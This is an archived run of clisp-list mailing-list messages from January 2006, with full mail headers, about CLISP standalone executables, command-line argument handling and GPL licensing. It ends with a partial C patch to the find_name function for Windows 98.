X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 26 18:53:02 2006 X-Original-Date: Fri, 27 Jan 2006 03:51:47 +0100 Tom Emerson writes: > Coming from the peanut gallery here, but it seems to me that the > requirement for an "empty" argument could be handled by using a simple > shell script wrapper around the invocation that hides the actual > command being executed. This is done regularly in Java so that Java > applications can be invoked as: > > % foo arg1 arg2 arg3 > > instead of > > % java -cp "some/class/path:additions/" com.foo.bar.fooApp arg1 arg2 arg3 > > Why fix something that isn't demonstratably broken when there is a > simple work around? We know and we agree, but this defeats the single executable objective. If you have to have an encapsulating script, they there's no need to put the lisp image in the same file as the lisp executable. Since users want to have only one file, then this only executable must be able to handle its arguments like any other program. -- __Pascal Bourguignon__ http://www.informatimago.com/ You never feed me. Perhaps I'll sleep on your face. That will sure show you. From dgou@mac.com Thu Jan 26 19:09:26 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F2JzC-0001Ko-Pc for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 19:09:18 -0800 Received: from smtpout.mac.com ([17.250.248.89]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F2JzC-0000sT-Hg for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 19:09:18 -0800 Received: from mac.com (smtpin07-en2 [10.13.10.152]) by smtpout.mac.com (Xserve/8.12.11/smtpout02/MantshX 4.0) with ESMTP id k0R39FbW003791 for ; Thu, 26 Jan 2006 19:09:15 -0800 (PST) Received: from [192.168.1.101] (15.pins2.xdsl.nauticom.net [209.195.172.144]) (authenticated bits=0) by mac.com (Xserve/smtpin07/MantshX 4.0) with ESMTP id k0R39Dmg016814 for ; Thu, 26 Jan 2006 19:09:14 -0800 (PST) Mime-Version: 1.0 (Apple Message framework v746.2) In-Reply-To: <17369.35523.904463.839548@thalassa.informatimago.com> References: <20060124221217.65625.qmail@web32003.mail.mud.yahoo.com> <17368.54059.318000.918601@thalassa.informatimago.com> <20060126162423.GB7080@w-m-p.com> <17368.64156.737835.727864@tiphares.basistech.net> <17369.35523.904463.839548@thalassa.informatimago.com> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <7A9EC4E7-FD2F-48E2-B78D-A1D120E1D78E@mac.com> Content-Transfer-Encoding: 7bit From: Douglas Philips Subject: Re: [clisp-list] Re: release 2.38 - standalone executable To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.746.2) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 26 19:10:02 2006 X-Original-Date: Thu, 26 Jan 2006 22:09:15 -0500 On 2006 Jan 26, at 9:51 PM, Pascal Bourguignon wrote: > Tom Emerson writes: >> Why fix something that isn't demonstratably broken when there is a >> simple work around? > > We know and we agree, but this defeats the single executable > objective. > If you have to have an encapsulating script, they there's no need to > put the lisp image in the same file as the lisp executable. > > Since users want to have only one file, then this only executable must > be able to handle its arguments like any other program. Ok, so another shell from the peanut gallery "weighing in"... First, I am very emotionally sympathetic to the desire to have "one file" .exe (despite my distaste with/at Windows). And very much aghast at the idea that because a "program" is delivered with CLISP that the user should know/care/want to "get at" the underlying CLISP. Ugh. But, all that aside, I am very much impressed with the way that Mac OS X has diverged from the Windows (and Linux, last I looked) style of "application is one binary/executable" by going to a "well formed folder of coherent coupled files". As far as the GUI interface goes, an "application" is a single entity. Sure, there are ways and tools of 'unpacking' that "application", just as there are tools and ways of unpacking .ZIP files on Windows. So as a Mac OS X user, I am amused and saddened by this drive to have everything "in one file", esp. since there doesn't seem to be a Windows equivalent of "an application as folder presented as single entity". The saddest part of it is the complexity that has been put into "clisp" to make this abomination of one file (.EXE) happen. (And note: this is a completely orthogonal issue to the issue of "who gets the command-line 'first'".) Perhaps someone(s) more familiar with Windows can point to a solution that doesn't involve all the yuckyness that Sam (& co) have been putting in, but I fear not... --D'gou From fb@frank-buss.de Thu Jan 26 20:27:07 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F2LCQ-0006aG-5C for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 20:27:02 -0800 Received: from moutng.kundenserver.de ([212.227.126.187]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F2LCN-0003PX-Jo for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 20:27:02 -0800 Received: from [81.173.255.84] (helo=galilei) by mrelayeu.kundenserver.de (node=mrelayeu8) with ESMTP (Nemesis), id 0ML2ov-1F2LCL0sWo-0000hg; Fri, 27 Jan 2006 05:26:57 +0100 From: "Frank Buss" To: Subject: RE: [clisp-list] Re: release 2.38 - standalone executable MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.6353 In-Reply-To: <7A9EC4E7-FD2F-48E2-B78D-A1D120E1D78E@mac.com> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 Thread-Index: AcYi7yr3+ylpC3RpRdOrQsZMicevbAACcpkA Message-ID: <0ML2ov-1F2LCL0sWo-0000hg@mrelayeu.kundenserver.de> X-Provags-ID: kundenserver.de abuse@kundenserver.de login:c8f3a198e727b982101a8031b3375aa3 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 26 20:28:02 2006 X-Original-Date: Fri, 27 Jan 2006 05:26:59 +0100 Douglas Philips wrote: > Perhaps someone(s) more familiar with Windows can point to a > solution > that doesn't involve all the yuckyness that Sam (& co) have been > putting in, but I fear not... there is no yuckyness involved in having one executable, now CLISP has just measured up with GCC, which can create one executable file for all platforms (even on Mac) since the beginning. Lisp is a bit different and I like the image concept for developing, but this doesn't mean that delivering needs to be more complicated than with every other GCC program. Of course, adding the image to the end of the file is not the best solution. For Windows it would be better to use the capabilities of the EXE file format and include it as resources, but until someone wants to write this (and wants to mess with the differences on Linux and Mac for the ELF format), I can live with this solution. -- Frank Buss, fb@frank-buss.de http://www.frank-buss.de, http://www.it4-systems.de From dgou@mac.com Thu Jan 26 21:26:48 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F2M8G-0002Aa-A8 for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 21:26:48 -0800 Received: from smtpout.mac.com ([17.250.248.70]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F2M8G-0004pT-3s for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 21:26:48 -0800 Received: from mac.com (smtpin07-en2 [10.13.10.152]) by smtpout.mac.com (Xserve/8.12.11/smtpout13/MantshX 4.0) with ESMTP id k0R5QfZj019188 for ; Thu, 26 Jan 2006 21:26:41 -0800 (PST) Received: from [192.168.1.101] (15.pins2.xdsl.nauticom.net [209.195.172.144]) (authenticated bits=0) by mac.com (Xserve/smtpin07/MantshX 4.0) with ESMTP id k0R5QeQX026728 for ; Thu, 26 Jan 2006 21:26:41 -0800 (PST) Mime-Version: 1.0 (Apple Message framework v746.2) In-Reply-To: <0ML2ov-1F2LCL0sWo-0000hg@mrelayeu.kundenserver.de> References: <0ML2ov-1F2LCL0sWo-0000hg@mrelayeu.kundenserver.de> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Douglas Philips Subject: Re: [clisp-list] Re: release 2.38 - standalone executable To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.746.2) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 26 21:27:01 2006 X-Original-Date: Fri, 27 Jan 2006 00:26:36 -0500 On 2006 Jan 26, at 11:26 PM, Frank Buss indited: > Douglas Philips wrote: >> Perhaps someone(s) more familiar with Windows can point to a >> solution >> that doesn't involve all the yuckyness that Sam (& co) have been >> putting in, but I fear not... > ... > Of course, adding the image to the end of the file is not the best > solution. > For Windows it would be better to use the capabilities of the EXE file > format and include it as resources, but until someone wants to > write this > (and wants to mess with the differences on Linux and Mac for the ELF > format), I can live with this solution. Right. The real problem isn't that Lisp isn't like GCC, the real problem is that "a solution to a problem" isn't just one blob of executable code anymore. It wasn't back in the day of the OLD Mac OS's either, which probably had "resource forks" as early as or even earlier than Windows. So catching up to having "resources" now is chasing an faded shadow. And it still gets stuck in that little box of "one file", but oh wait, we'll put a dumb simple "resource" mechanism (i.e. dumb simple file system) inside the file. The whole mess of grunging around inside the executable image is a mess, I've seen (and averted my eyes from) the CVS changes that have been going in. It isn't that they are bad code, it is that the solution itself is bad. Maybe it is the best that can be done with Windows, but it is still ugly. And it isn't completely orthogonal to the command line issue after all, because if you could deliver a bundle of real files as "a solution", then there wouldn't be all this hand wringing about "oh, but a separate script that fixes the command line is bad because it isn't one file anymore" would truly be a non- issue. But hey, I've beat this sad horse enough. I'm just glad I don't have to use CLISP on Windows. :-) --D'gou From Roman.Belenov@intel.com Fri Jan 27 00:47:05 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F2PG4-0006xD-6c for clisp-list@lists.sourceforge.net; Fri, 27 Jan 2006 00:47:04 -0800 Received: from fmr13.intel.com ([192.55.52.67] helo=fmsfmr001.fm.intel.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F2PG2-0007OT-Vj for clisp-list@lists.sourceforge.net; Fri, 27 Jan 2006 00:47:04 -0800 Received: from fmsfmr100.fm.intel.com (fmsfmr100.fm.intel.com [10.253.24.20]) by fmsfmr001.fm.intel.com (8.12.10/8.12.10/d: major-outer.mc,v 1.1 2004/09/17 17:50:56 root Exp $) with ESMTP id k0R8kveg003095; Fri, 27 Jan 2006 08:46:57 GMT Received: from fmsmsxvs043.fm.intel.com (fmsmsxvs043.fm.intel.com [132.233.42.129]) by fmsfmr100.fm.intel.com (8.12.10/8.12.10/d: major-inner.mc,v 1.2 2004/09/17 18:05:01 root Exp $) with SMTP id k0R8ktMW011504; Fri, 27 Jan 2006 08:46:57 GMT Received: (from NNWRBELENOV41 [10.125.17.115]) by fmsmsxvs043.fm.intel.com (SAVSMTP 3.1.7.47) with SMTP id M2006012700464929323 ; Fri, 27 Jan 2006 00:46:53 -0800 To: clisp-list@lists.sourceforge.net Cc: Klaus Weidner Subject: Re: [clisp-list] Re: standalone executables & command line arguments References: <20060126174347.GC7080@w-m-p.com> From: Roman Belenov In-Reply-To: (Sam Steingold's message of "Thu, 26 Jan 2006 13:24:43 -0500") Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/23.0.0 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Scanned-By: MIMEDefang 2.52 on 10.253.24.20 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 27 00:48:00 2006 X-Original-Date: Fri, 27 Jan 2006 11:46:47 +0300 Sam Steingold writes: > Nevertheless, I believe it is important that someone who receives a > clisp-based application can get a clisp repl by merely typing > $ app -x '(saveinitmem)' > $ app -M lispinit.mem > or just > $ app -x '(saveinitmem "clisp" :executable t)' > $ ./clisp IMHO it is up to the application author to decide whether to provide repl to users; although it is definitely up to you to decide whether to provide application authors this freedom. -- With regards, Roman. From pjb@informatimago.com Fri Jan 27 02:48:16 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F2R9M-0006wI-9B for clisp-list@lists.sourceforge.net; Fri, 27 Jan 2006 02:48:16 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F2R9K-0006HS-LA for clisp-list@lists.sourceforge.net; Fri, 27 Jan 2006 02:48:16 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id DE62D585EB; Fri, 27 Jan 2006 11:48:09 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 91031585BE; Fri, 27 Jan 2006 11:48:05 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 552598309; Fri, 27 Jan 2006 11:48:05 +0100 (CET) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17369.64100.948840.81885@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Cc: Klaus Weidner Subject: Re: [clisp-list] Re: standalone executables & command line arguments In-Reply-To: References: <20060126174347.GC7080@w-m-p.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 27 02:49:03 2006 X-Original-Date: Fri, 27 Jan 2006 11:48:04 +0100 Sam Steingold writes: > > * Klaus Weidner [2006-01-26 11:43:47 -0600]: > > > > :argument-handler :standalone > > > > All arguments, including flags starting with '-', are placed into > > the EXT:*ARGS* variable. This allows standalone executables to > > fully handle all argument processing. The application is > > responsible for handling any flag arguments normally handled > > by the CLISP runtime if that functionality is required. > > this will disable -M and -x. > I understand that someone might want to re-implement "ls" with clisp and > this will prevent him. > > Nevertheless, I believe it is important that someone who receives a > clisp-based application can get a clisp repl by merely typing > $ app -x '(saveinitmem)' > $ app -M lispinit.mem > or just > $ app -x '(saveinitmem "clisp" :executable t)' > $ ./clisp Couldn't this be archived with an environment variable? $ app -x I am app and I print 'X'. $ CLISP_ARGUMENTS="-x '(progn (princ (lisp-implementation-version)) (ext:quit 0))'" app -x 2.38 (2006-01-24) (built 3347193361) (memory 3347193797) $ CLISP_ARGUMENTS="-x ' (princ (lisp-implementation-version))'" app -x 2.38 (2006-01-24) (built 3347193361) (memory 3347193797) I am app and I print 'X'. $ -- __Pascal Bourguignon__ http://www.informatimago.com/ What is this talk of 'release'? Klingons do not make software 'releases'. Our software 'escapes' leaving a bloody trail of designers and quality assurance people in it's wake. From pjb@informatimago.com Fri Jan 27 02:54:50 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F2RFg-0007Jp-KE for clisp-list@lists.sourceforge.net; Fri, 27 Jan 2006 02:54:48 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F2RFg-0007Pa-0Q for clisp-list@lists.sourceforge.net; Fri, 27 Jan 2006 02:54:48 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id A8E0A585EF; Fri, 27 Jan 2006 11:54:30 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id B7723585BE; Fri, 27 Jan 2006 11:54:22 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 5A00D8309; Fri, 27 Jan 2006 11:54:21 +0100 (CET) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17369.64477.325464.166594@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Cc: "Steven E.Harris" Subject: Re: [clisp-list] Re: standalone executables & command line arguments In-Reply-To: References: <20060126174347.GC7080@w-m-p.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 27 02:55:04 2006 X-Original-Date: Fri, 27 Jan 2006 11:54:21 +0100 Sam Steingold writes: > > * Steven E.Harris [2006-01-26 13:55:13 -0800]: > > > > Sam Steingold writes: > > > >> Nevertheless, I believe it is important that someone who receives a > >> clisp-based application can get a clisp repl by merely typing > > > > I would expect it to be the prerogative of the author to make the > > implementation decision to use CLISP or some other system, and that > > decision here is not meant to be the business of the end-user. Why > > must every application created with CLISP also /be/ CLISP? > > because the what you are distributing (e.g., clisp executable image) > does include full clisp (compiler, debugger &c) and I see no reason to > prevent the user from easily accessing it. > > if you want full control over your application's options, you can use a > script. I was thinking of legal considerations. IIUC, the GPL implies that a user must be able to extract the image, and to compile a patched version of clisp (eg. with added modules), and to save a new executable with the extracted image and the patched clisp. Similarly, he should be able to patch any clisp lisp function (ie. needs a REPL in the saved image). All this even without considering the license of the application in this image. -- __Pascal Bourguignon__ http://www.informatimago.com/ Un chat errant se soulage dans le jardin d'hiver Shiki From fb@frank-buss.de Fri Jan 27 10:50:23 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F2Yfv-0002ex-Du for clisp-list@lists.sourceforge.net; Fri, 27 Jan 2006 10:50:23 -0800 Received: from smtp4.netcologne.de ([194.8.194.137]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F2Yfs-00071D-0Y for clisp-list@lists.sourceforge.net; Fri, 27 Jan 2006 10:50:23 -0800 Received: from galilei (xdsl-84-44-227-202.netcologne.de [84.44.227.202]) by smtp4.netcologne.de (Postfix) with ESMTP id 80840DA697 for ; Fri, 27 Jan 2006 19:50:13 +0100 (CET) From: "Frank Buss" To: Subject: [clisp-list] Licence MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.6353 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 Thread-Index: AcYjMCJyyvl7ofW/Sn+wWhp7xNrFKQAK3ftgAAW2sGA= Message-Id: <20060127185013.80840DA697@smtp4.netcologne.de> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 27 10:51:01 2006 X-Original-Date: Fri, 27 Jan 2006 19:50:16 +0100 Pascal Bourguignon wrote: > IIUC, the GPL implies that a user must be able to extract the image, > and to compile a patched version of clisp (eg. with added modules), > and to save a new executable with the extracted image and the patched > clisp. Similarly, he should be able to patch any clisp lisp function > (ie. needs a REPL in the saved image). All this even without > considering the license of the application in this image. which sentence of the GPL says this? Perhaps I'm wrong, but I think it is sufficient e.g. when you have a webpage where you can download the standlone-exe and on the same page the source is available for download and a link to the GPL text itself. BTW: A.1.1.2. of the FAQ says "why GNU GPL?" -> Because CLISP uses GNU readline (http://clisp.cons.org/impnotes/faq.html#faq-gpl) Then I have some questions: - does this mean when I compile CLISP without the GNU readline library that it is not GPL? Which licence is it then? - http://cvs.sourceforge.net/viewcvs.py/*checkout*/clisp/clisp/COPYRIGHT says, that the source code needs not to be licenced under GPL, if it uses only things in the COMMON-LISP, COMMON-LISP-USER, KEYWORD, CLOS, GRAY and EXT packages, but foreign non-Lisp code that is linked with CLISP or loaded into CLISP through dynamic linking is not exempted from this copyright. Is the image-linking considered as "foreign non-Lisp code that is linked with CLISP"? - when I'm using the CFFI library, which uses the FFI package, needs my source code to be licenced as GPL? CFFI has a BSD-like licence (do whatever you want with the source, as long as you credit the authors), so it is fine to release CFFI with a GPL program, but when my user program uses only the BSD CFFI and nothing from the CLISP FFI package, is my program still "infected" by the GPL licence? The reasons for my questions are that I plan to sell software written in Lisp and some customers may want to disclosure the source code. There would be no problem, if CLISP would be released under 2 licences (which is possible, see e.g. MySQL): BSD for a version compiled without GNU readline and GNU GPL for a version with GNU readline. -- Frank Buss, fb@frank-buss.de http://www.frank-buss.de, http://www.it4-systems.de From fb@frank-buss.de Fri Jan 27 17:54:47 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F2fIc-0001Ci-Q1 for clisp-list@lists.sourceforge.net; Fri, 27 Jan 2006 17:54:46 -0800 Received: from smtp4.netcologne.de ([194.8.194.137]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F2fIb-0006AK-E6 for clisp-list@lists.sourceforge.net; Fri, 27 Jan 2006 17:54:47 -0800 Received: from galilei (xdsl-84-44-227-202.netcologne.de [84.44.227.202]) by smtp4.netcologne.de (Postfix) with ESMTP id 90A81DA588 for ; Sat, 28 Jan 2006 02:54:36 +0100 (CET) From: "Frank Buss" To: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.6353 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 Thread-Index: AcYjrct1ApFdDu+BRXed5rsOQjxeOA== Message-Id: <20060128015436.90A81DA588@smtp4.netcologne.de> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] find_name bugfix for Windows 98 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 27 17:55:20 2006 X-Original-Date: Sat, 28 Jan 2006 02:54:37 +0100 find_name doesn't work on Windows 98 when searching all modules of the current process. I've implemented a patch, see below for the whole section in spvw.d. Another idea: perhaps the function address should be cached with a hashtable, because the time needed to retrieve the pointer increases with the number of loaded libraries with the current concept, but would be nearly constant (and maybe faster) with a hashtable. #if defined(WIN32_NATIVE) /* declare non-unicode struct and function from tlhelp32.h */ #define MAX_MODULE_NAME32 255 #define TH32CS_SNAPMODULE 0x8 typedef struct tagMODULEENTRY32 { DWORD dwSize; DWORD th32ModuleID; DWORD th32ProcessID; DWORD GlblcntUsage; DWORD ProccntUsage; BYTE *modBaseAddr; DWORD modBaseSize; HMODULE hModule; char szModule[MAX_MODULE_NAME32 + 1]; char szExePath[MAX_PATH]; } MODULEENTRY32,*PMODULEENTRY32,*LPMODULEENTRY32; HANDLE WINAPI CreateToolhelp32Snapshot(DWORD,DWORD); BOOL WINAPI Module32First(HANDLE,LPMODULEENTRY32); BOOL WINAPI Module32Next(HANDLE,LPMODULEENTRY32); /* #include */ /* support older woe32 incarnations: fEnumProcessModules is 1 until the first call, it is NULL if this woe32 does not have EnumProcessModules(), and it points to EnumProcessModules() when it is present */ typedef BOOL (WINAPI * EnumProcessModules_t) (HANDLE hProcess,HMODULE* lphModule,DWORD cb,LPDWORD lpcbNeeded); static EnumProcessModules_t fEnumProcessModules = (EnumProcessModules_t)1; #endif /* find the name in the dynamic library handle calls dlsym() or GetProcAddress() handle is an object returned by libopen() or NULL, which means emulate RTLD_DEFAULT on UNIX_FREEBSD and WIN32_NATIVE by searching through all libraries name is the name of the function (or variable) in the library */ global void* find_name (void *handle, const char *name) { var void *ret = NULL; #if defined(UNIX_FREEBSD) && !defined(RTLD_DEFAULT) /* FreeBSD 4.0 doesn't support RTLD_DEFAULT, so we simulate it by searching the executable and the libc. */ if (handle == NULL) { /* Search the executable. */ ret = dlsym(NULL,name); if (ret == NULL) { /* Search the libc. */ if (libc_handle == NULL) libc_handle = dlopen("libc.so",RTLD_LAZY); if (libc_handle != NULL) ret = dlsym(libc_handle,name); } } else ret = dlsym(handle,name); #elif defined(WIN32_NATIVE) if (handle == NULL) { /* RTLD_DEFAULT -- search all modules */ HANDLE cur_proc; HMODULE *modules; DWORD needed, i; if ((EnumProcessModules_t)1 == fEnumProcessModules) { /* first call: try to load EnumProcessModules */ HMODULE psapi = LoadLibrary("psapi.dll"); if (psapi == NULL) fEnumProcessModules = NULL; else fEnumProcessModules = (EnumProcessModules_t)GetProcAddress(psapi,"EnumProcessModules"); } if (NULL != fEnumProcessModules) { cur_proc = GetCurrentProcess(); if (!fEnumProcessModules(cur_proc,NULL,0,&needed)) OS_error(); modules = (HMODULE*)alloca(needed); if (!fEnumProcessModules(cur_proc,modules,needed,&needed)) OS_error(); for (i=0; i < needed/sizeof(HMODULE); i++) if ((ret = 